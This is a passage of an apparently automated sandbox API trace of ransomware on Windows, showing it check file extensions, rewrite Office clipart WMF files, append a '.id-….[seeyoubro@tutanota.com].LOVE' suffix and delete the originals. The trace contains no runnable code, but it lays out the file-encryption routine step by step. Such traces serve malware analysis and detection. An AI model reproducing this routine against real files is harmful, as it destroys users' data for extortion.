Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0220.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0220.870] lstrlenW (lpString=".doc") returned 4 [0220.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.871] lstrlenW (lpString=".docx") returned 5 [0220.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.871] lstrlenW (lpString=".pdf") returned 4 [0220.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.871] lstrlenW (lpString=".xls") returned 4 [0220.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.871] lstrlenW (lpString=".xlsx") returned 5 [0220.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.871] lstrlenW (lpString=".ppt") returned 4 [0220.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0220.871] lstrlenW (lpString=".zip") returned 4 [0220.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.871] lstrlenW (lpString=".rar") returned 4 [0220.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.871] lstrlenW (lpString=".bz2") returned 4 [0220.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.871] lstrlenW (lpString=".7z") returned 3 [0220.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0220.871] lstrlenW (lpString=".dbf") returned 4 [0220.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0220.871] lstrlenW (lpString=".1cd") returned 4 [0220.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0220.871] lstrlenW (lpString=".jpg") returned 4 [0220.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.894] GetLastError () returned 0x0 [0220.894] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xe70, lpOverlapped=0x0) returned 1 [0220.940] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xe80, lpOverlapped=0x0) returned 1 [0220.941] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.941] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.941] SetEndOfFile (hFile=0x374) returned 1 [0220.942] CloseHandle (hObject=0x374) returned 1 [0220.942] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.942] SetEndOfFile (hFile=0x2cc) returned 1 [0220.942] CloseHandle (hObject=0x2cc) returned 1 [0220.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0220.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0220.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0220.943] lstrlenW (lpString=".doc") returned 4 [0220.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.943] lstrlenW (lpString=".docx") returned 5 [0220.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.943] lstrlenW (lpString=".pdf") returned 4 [0220.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.943] lstrlenW (lpString=".xls") returned 4 [0220.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.943] lstrlenW (lpString=".xlsx") returned 5 [0220.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.943] lstrlenW (lpString=".ppt") returned 4 [0220.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0220.943] lstrlenW (lpString=".zip") returned 4 [0220.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.943] lstrlenW (lpString=".rar") returned 4 [0220.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.943] lstrlenW (lpString=".bz2") returned 4 [0220.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.943] lstrlenW (lpString=".7z") returned 3 [0220.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0220.943] lstrlenW (lpString=".dbf") returned 4 [0220.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0220.943] lstrlenW (lpString=".1cd") returned 4 [0220.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0220.943] lstrlenW (lpString=".jpg") returned 4 [0220.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.944] GetLastError () returned 0x0 [0220.944] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xf94, lpOverlapped=0x0) returned 1 [0220.958] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0220.959] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.960] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.960] SetEndOfFile (hFile=0x374) returned 1 [0220.963] CloseHandle (hObject=0x374) returned 1 [0220.965] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.965] SetEndOfFile (hFile=0x2cc) returned 1 [0220.965] CloseHandle (hObject=0x2cc) returned 1 [0220.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0220.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0220.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0220.967] lstrlenW (lpString=".doc") returned 4 [0220.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.967] lstrlenW (lpString=".docx") returned 5 [0220.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.967] lstrlenW (lpString=".pdf") returned 4 [0220.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.967] lstrlenW (lpString=".xls") returned 4 [0220.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.967] lstrlenW (lpString=".xlsx") returned 5 [0220.967] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.967] lstrlenW (lpString=".ppt") returned 4 [0220.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0220.967] lstrlenW (lpString=".zip") returned 4 [0220.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.967] lstrlenW (lpString=".rar") returned 4 [0220.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.967] lstrlenW (lpString=".bz2") returned 4 [0220.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.967] lstrlenW (lpString=".7z") returned 3 [0220.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0220.967] lstrlenW (lpString=".dbf") returned 4 [0220.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0220.967] lstrlenW (lpString=".1cd") returned 4 [0220.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0220.968] lstrlenW (lpString=".jpg") returned 4 [0220.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.969] GetLastError () returned 0x0 [0220.969] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x670, lpOverlapped=0x0) returned 1 [0220.990] WriteFile (in: hFile=0x388, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x680, lpOverlapped=0x0) returned 1 [0220.992] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.992] WriteFile (in: hFile=0x388, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.992] SetEndOfFile (hFile=0x388) returned 1 [0220.992] CloseHandle (hObject=0x388) returned 1 [0220.992] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.992] SetEndOfFile (hFile=0x33c) returned 1 [0220.993] CloseHandle (hObject=0x33c) returned 1 [0220.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0220.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0220.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0220.998] lstrlenW (lpString=".doc") returned 4 [0220.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.998] lstrlenW (lpString=".docx") returned 5 [0220.998] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.998] lstrlenW (lpString=".pdf") returned 4 [0220.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.998] lstrlenW (lpString=".xls") returned 4 [0220.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.998] lstrlenW (lpString=".xlsx") returned 5 [0220.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.998] lstrlenW (lpString=".ppt") returned 4 [0220.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0220.998] lstrlenW (lpString=".zip") returned 4 [0220.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.998] lstrlenW (lpString=".rar") returned 4 [0220.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.999] lstrlenW (lpString=".bz2") returned 4 [0220.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.999] lstrlenW (lpString=".7z") returned 3 [0221.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0221.000] lstrlenW (lpString=".dbf") returned 4 [0221.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0221.000] lstrlenW (lpString=".1cd") returned 4 [0221.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0221.000] lstrlenW (lpString=".jpg") returned 4 [0221.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.020] GetLastError () returned 0x0 [0221.020] ReadFile (in: hFile=0x374, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xeb4, lpOverlapped=0x0) returned 1 [0221.040] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec0, lpOverlapped=0x0) returned 1 [0221.041] ReadFile (in: hFile=0x374, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.041] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.041] SetEndOfFile (hFile=0x2d8) returned 1 [0221.041] CloseHandle (hObject=0x2d8) returned 1 [0221.041] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.041] SetEndOfFile (hFile=0x374) returned 1 [0221.042] CloseHandle (hObject=0x374) returned 1 [0221.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0221.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0221.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0221.046] lstrlenW (lpString=".doc") returned 4 [0221.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.046] lstrlenW (lpString=".docx") returned 5 [0221.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.046] lstrlenW (lpString=".pdf") returned 4 [0221.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.046] lstrlenW (lpString=".xls") returned 4 [0221.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.046] lstrlenW (lpString=".xlsx") returned 5 [0221.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.046] lstrlenW (lpString=".ppt") returned 4 [0221.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0221.046] lstrlenW (lpString=".zip") returned 4 [0221.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.046] lstrlenW (lpString=".rar") returned 4 [0221.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.046] lstrlenW (lpString=".bz2") returned 4 [0221.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.047] lstrlenW (lpString=".7z") returned 3 [0221.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0221.047] lstrlenW (lpString=".dbf") returned 4 [0221.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0221.047] lstrlenW (lpString=".1cd") returned 4 [0221.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0221.047] lstrlenW (lpString=".jpg") returned 4 [0221.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.047] GetLastError () returned 0x0 [0221.047] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xe4e, lpOverlapped=0x0) returned 1 [0221.121] WriteFile (in: hFile=0x37c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xe50, lpOverlapped=0x0) returned 1 [0221.123] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.123] WriteFile (in: hFile=0x37c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.123] SetEndOfFile (hFile=0x37c) returned 1 [0221.125] CloseHandle (hObject=0x37c) returned 1 [0221.125] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.125] SetEndOfFile (hFile=0x33c) returned 1 [0221.126] CloseHandle (hObject=0x33c) returned 1 [0221.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0221.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0221.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0221.127] lstrlenW (lpString=".doc") returned 4 [0221.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.127] lstrlenW (lpString=".docx") returned 5 [0221.127] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.127] lstrlenW (lpString=".pdf") returned 4 [0221.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.127] lstrlenW (lpString=".xls") returned 4 [0221.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.127] lstrlenW (lpString=".xlsx") returned 5 [0221.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.127] lstrlenW (lpString=".ppt") returned 4 [0221.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0221.127] lstrlenW (lpString=".zip") returned 4 [0221.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.127] lstrlenW (lpString=".rar") returned 4 [0221.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.127] lstrlenW (lpString=".bz2") returned 4 [0221.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.128] lstrlenW (lpString=".7z") returned 3 [0221.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0221.128] lstrlenW (lpString=".dbf") returned 4 [0221.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0221.128] lstrlenW (lpString=".1cd") returned 4 [0221.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0221.128] lstrlenW (lpString=".jpg") returned 4 [0221.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.140] GetLastError () returned 0x0 [0221.140] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x3158, lpOverlapped=0x0) returned 1 [0221.145] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x3160, lpOverlapped=0x0) returned 1 [0221.145] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.146] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.146] SetEndOfFile (hFile=0x330) returned 1 [0221.146] CloseHandle (hObject=0x330) returned 1 [0221.146] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.146] SetEndOfFile (hFile=0x320) returned 1 [0221.147] CloseHandle (hObject=0x320) returned 1 [0221.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.147] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0221.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0221.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0221.148] lstrlenW (lpString=".doc") returned 4 [0221.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.148] lstrlenW (lpString=".docx") returned 5 [0221.148] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.148] lstrlenW (lpString=".pdf") returned 4 [0221.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.148] lstrlenW (lpString=".xls") returned 4 [0221.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.148] lstrlenW (lpString=".xlsx") returned 5 [0221.148] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.148] lstrlenW (lpString=".ppt") returned 4 [0221.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0221.148] lstrlenW (lpString=".zip") returned 4 [0221.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.148] lstrlenW (lpString=".rar") returned 4 [0221.148] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.148] lstrlenW (lpString=".bz2") returned 4 [0221.148] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.148] lstrlenW (lpString=".7z") returned 3 [0221.148] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0221.148] lstrlenW (lpString=".dbf") returned 4 [0221.148] lstrcmpiW (lpString1=".dbf", 